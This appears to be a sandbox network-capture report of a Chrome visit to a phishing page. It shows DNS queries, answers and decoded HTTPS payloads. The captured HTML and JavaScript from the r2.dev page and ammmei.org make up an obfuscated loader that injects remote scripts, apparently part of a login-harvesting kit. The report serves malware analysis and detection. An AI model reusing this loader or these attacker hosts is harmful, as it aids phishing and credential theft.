May 24, 2024 07:45:20.706924915 CEST	53328	53	192.168.2.4	1.1.1.1
May 24, 2024 07:45:20.707221031 CEST	52526	53	192.168.2.4	1.1.1.1
May 24, 2024 07:45:21.010670900 CEST	53	53328	1.1.1.1	192.168.2.4
May 24, 2024 07:45:21.010687113 CEST	53	52526	1.1.1.1	192.168.2.4
May 24, 2024 07:45:21.962846994 CEST	54880	53	192.168.2.4	1.1.1.1
May 24, 2024 07:45:21.963267088 CEST	63584	53	192.168.2.4	1.1.1.1
May 24, 2024 07:45:21.963809967 CEST	58678	53	192.168.2.4	1.1.1.1
May 24, 2024 07:45:21.964045048 CEST	62734	53	192.168.2.4	1.1.1.1
May 24, 2024 07:45:22.023309946 CEST	53	54880	1.1.1.1	192.168.2.4
May 24, 2024 07:45:22.023324013 CEST	53	63584	1.1.1.1	192.168.2.4
May 24, 2024 07:45:22.023329020 CEST	53	62734	1.1.1.1	192.168.2.4
May 24, 2024 07:45:22.023334026 CEST	53	58678	1.1.1.1	192.168.2.4
May 24, 2024 07:45:22.274972916 CEST	63367	53	192.168.2.4	1.1.1.1
May 24, 2024 07:45:22.275458097 CEST	58427	53	192.168.2.4	1.1.1.1
May 24, 2024 07:45:22.303661108 CEST	53	58427	1.1.1.1	192.168.2.4
May 24, 2024 07:45:22.303673029 CEST	53	63367	1.1.1.1	192.168.2.4
May 24, 2024 07:45:25.256746054 CEST	50634	53	192.168.2.4	1.1.1.1
May 24, 2024 07:45:25.258512020 CEST	61042	53	192.168.2.4	1.1.1.1
May 24, 2024 07:45:25.575393915 CEST	53	61042	1.1.1.1	192.168.2.4
May 24, 2024 07:45:25.575408936 CEST	53	50634	1.1.1.1	192.168.2.4
May 24, 2024 07:45:39.555572987 CEST	138	138	192.168.2.4	192.168.2.255
May 24, 2024 07:45:39.915051937 CEST	53	53126	1.1.1.1	192.168.2.4
May 24, 2024 07:45:58.943422079 CEST	53	61579	1.1.1.1	192.168.2.4
May 24, 2024 07:46:18.143838882 CEST	53	56278	1.1.1.1	192.168.2.4
May 24, 2024 07:46:21.241714954 CEST	53	63071	1.1.1.1	192.168.2.4
May 24, 2024 07:46:21.968597889 CEST	53	61580	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 24, 2024 07:45:19.927928925 CEST	192.168.2.4	1.1.1.1	0x59f0	Standard query (0)	pub-a2527e0fc1774b399011ecd14755d452.r2.dev	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:19.928215027 CEST	192.168.2.4	1.1.1.1	0x535f	Standard query (0)	pub-a2527e0fc1774b399011ecd14755d452.r2.dev	65	IN (0x0001)	false
May 24, 2024 07:45:20.706924915 CEST	192.168.2.4	1.1.1.1	0xb748	Standard query (0)	ammmei.org	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:20.707221031 CEST	192.168.2.4	1.1.1.1	0x7802	Standard query (0)	ammmei.org	65	IN (0x0001)	false
May 24, 2024 07:45:21.962846994 CEST	192.168.2.4	1.1.1.1	0x11f	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:21.963267088 CEST	192.168.2.4	1.1.1.1	0x127d	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
May 24, 2024 07:45:21.963809967 CEST	192.168.2.4	1.1.1.1	0x8e64	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:21.964045048 CEST	192.168.2.4	1.1.1.1	0x2dcc	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
May 24, 2024 07:45:22.274972916 CEST	192.168.2.4	1.1.1.1	0x675b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:22.275458097 CEST	192.168.2.4	1.1.1.1	0xe1cb	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 24, 2024 07:45:25.256746054 CEST	192.168.2.4	1.1.1.1	0x2a59	Standard query (0)	ammmei.org	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:25.258512020 CEST	192.168.2.4	1.1.1.1	0x8580	Standard query (0)	ammmei.org	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 24, 2024 07:45:19.951625109 CEST	1.1.1.1	192.168.2.4	0x59f0	No error (0)	pub-a2527e0fc1774b399011ecd14755d452.r2.dev		104.18.3.35	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:19.951625109 CEST	1.1.1.1	192.168.2.4	0x59f0	No error (0)	pub-a2527e0fc1774b399011ecd14755d452.r2.dev		104.18.2.35	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:21.010670900 CEST	1.1.1.1	192.168.2.4	0xb748	No error (0)	ammmei.org		132.148.128.8	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:22.023309946 CEST	1.1.1.1	192.168.2.4	0x11f	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:22.023309946 CEST	1.1.1.1	192.168.2.4	0x11f	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:22.023309946 CEST	1.1.1.1	192.168.2.4	0x11f	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:22.023309946 CEST	1.1.1.1	192.168.2.4	0x11f	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:22.023329020 CEST	1.1.1.1	192.168.2.4	0x2dcc	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
May 24, 2024 07:45:22.023334026 CEST	1.1.1.1	192.168.2.4	0x8e64	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:22.023334026 CEST	1.1.1.1	192.168.2.4	0x8e64	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:22.303661108 CEST	1.1.1.1	192.168.2.4	0xe1cb	No error (0)	www.google.com			65	IN (0x0001)	false
May 24, 2024 07:45:22.303673029 CEST	1.1.1.1	192.168.2.4	0x675b	No error (0)	www.google.com		172.217.18.4	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:25.254295111 CEST	1.1.1.1	192.168.2.4	0x37f	No error (0)	shed.dual-low.part-0039.t-0009.t-msedge.net	part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 07:45:25.254295111 CEST	1.1.1.1	192.168.2.4	0x37f	No error (0)	part-0039.t-0009.t-msedge.net		13.107.213.67	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:25.254295111 CEST	1.1.1.1	192.168.2.4	0x37f	No error (0)	part-0039.t-0009.t-msedge.net		13.107.246.67	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:25.575408936 CEST	1.1.1.1	192.168.2.4	0x2a59	No error (0)	ammmei.org		132.148.128.8	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:30.014441013 CEST	1.1.1.1	192.168.2.4	0xfa88	No error (0)	shed.dual-low.part-0017.t-0009.t-msedge.net	part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 07:45:30.014441013 CEST	1.1.1.1	192.168.2.4	0xfa88	No error (0)	part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:30.014441013 CEST	1.1.1.1	192.168.2.4	0xfa88	No error (0)	part-0017.t-0009.t-msedge.net		13.107.213.45	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:34.047677994 CEST	1.1.1.1	192.168.2.4	0x4294	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 07:45:34.047677994 CEST	1.1.1.1	192.168.2.4	0x4294	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
May 24, 2024 07:45:47.744359970 CEST	1.1.1.1	192.168.2.4	0xc875	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 07:45:47.744359970 CEST	1.1.1.1	192.168.2.4	0xc875	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
May 24, 2024 07:46:13.981055021 CEST	1.1.1.1	192.168.2.4	0x5850	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 07:46:13.981055021 CEST	1.1.1.1	192.168.2.4	0x5850	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
May 24, 2024 07:46:37.054791927 CEST	1.1.1.1	192.168.2.4	0xcdef	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 07:46:37.054791927 CEST	1.1.1.1	192.168.2.4	0xcdef	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pub-a2527e0fc1774b399011ecd14755d452.r2.dev

https:

ammmei.org

cdnjs.cloudflare.com

code.jquery.com

aadcdn.msauth.net

fs.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	104.18.3.35	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:20 UTC	700	OUT	GET /0nlinedoc.html HTTP/1.1 Host: pub-a2527e0fc1774b399011ecd14755d452.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:45:20 UTC	281	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:45:20 GMT Content-Type: text/html Content-Length: 219 Connection: close Accept-Ranges: bytes ETag: "c3d702101c3281e9b448604044cd48d6" Last-Modified: Thu, 23 May 2024 23:52:23 GMT Server: cloudflare CF-RAY: 888afa9f4a167283-EWR
2024-05-24 05:45:20 UTC	219	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 62 36 34 75 22 20 76 61 6c 75 65 3d 22 61 48 52 30 63 48 4d 36 4c 79 39 68 62 57 31 74 5a 57 6b 75 62 33 4a 6e 4c 33 64 35 63 32 46 68 4c 32 68 76 63 33 51 79 4c 6a 51 76 59 54 6c 6a 4d 7a 4a 69 59 79 35 77 61 48 41 3d 22 3e 3c 2f 69 6e 70 75 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 6d 6d 65 69 2e 6f 72 67 2f 77 79 73 61 61 2f 68 6f 73 74 32 2e 34 2f 61 64 6d 69 6e 2f 6a 73 2f 73 63 2e 70 68 70 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head></head><body><input type="hidden" id="b64u" value="aHR0cHM6Ly9hbW1tZWkub3JnL3d5c2FhL2hvc3QyLjQvYTljMzJiYy5waHA="></input><script src="https://ammmei.org/wysaa/host2.4/admin/js/sc.php"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	132.148.128.8	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:21 UTC	566	OUT	GET /wysaa/host2.4/admin/js/sc.php HTTP/1.1 Host: ammmei.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:45:21 UTC	307	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:45:21 GMT Server: Apache Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS Connection: close Transfer-Encoding: chunked Content-Type: application/javascript; charset=utf-8
2024-05-24 05:45:21 UTC	1782	IN	Data Raw: 36 65 66 0d 0a 76 61 72 20 76 65 65 34 33 64 64 39 65 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0d 0a 76 61 72 20 61 75 74 6f 67 72 61 62 20 3d 20 30 3b 0d 0a 76 65 65 34 33 64 64 39 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 73 72 63 27 2c 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e 46 31 5a 58 4a 35 4c 54 4d 75 4d 53 34 78 4c 6d 31 70 62 69 35 71 63 77 3d 3d 22 29 29 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 76 65 65 34 33 64 64 39 65 29 3b 0d 0a 0d 0a 76 61 72 20 76 39 35 38 61 34 61 66 37 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 Data Ascii: 6efvar vee43dd9e= document.createElement('script');var autograb = 0;vee43dd9e.setAttribute('src',atob("aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMS4xLm1pbi5qcw=="));document.head.append(vee43dd9e);var v958a4af7= document.createElement('scrip
2024-05-24 05:45:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	104.17.24.14	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:22 UTC	589	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:45:22 UTC	960	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:45:22 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 307641 Expires: Wed, 14 May 2025 05:45:22 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZG4YYnM3rfZQTc13nVukU0nIppob2OO1HWSt3vO8vr5BKzjDCLEKvHC%2F1VWtKm%2BunHwNEnHtDnirUGiD4i%2FuRDkfooE4kHTS95eB79e%2FHqvJpOxuacuDzNaps1XHNcgRvsYsoLVZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 888afaac48d37c7e-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 05:45:22 UTC	409	IN	Data Raw: 33 39 39 62 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 399b!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-05-24 05:45:22 UTC	1369	IN	Data Raw: 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f Data Ascii: t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeo
2024-05-24 05:45:22 UTC	1369	IN	Data Raw: 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 Data Ascii: =0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:func
2024-05-24 05:45:22 UTC	1369	IN	Data Raw: 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 Data Ascii: (t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doProc
2024-05-24 05:45:22 UTC	1369	IN	Data Raw: 3d 3d 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d 3e 3e 3e 30 Data Ascii: ===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]>>>0
2024-05-24 05:45:22 UTC	1369	IN	Data Raw: 28 65 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 Data Ascii: (e[4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i\|0
2024-05-24 05:45:22 UTC	1369	IN	Data Raw: 2d 6f 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 39 36 Data Ascii: -o%42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=429496
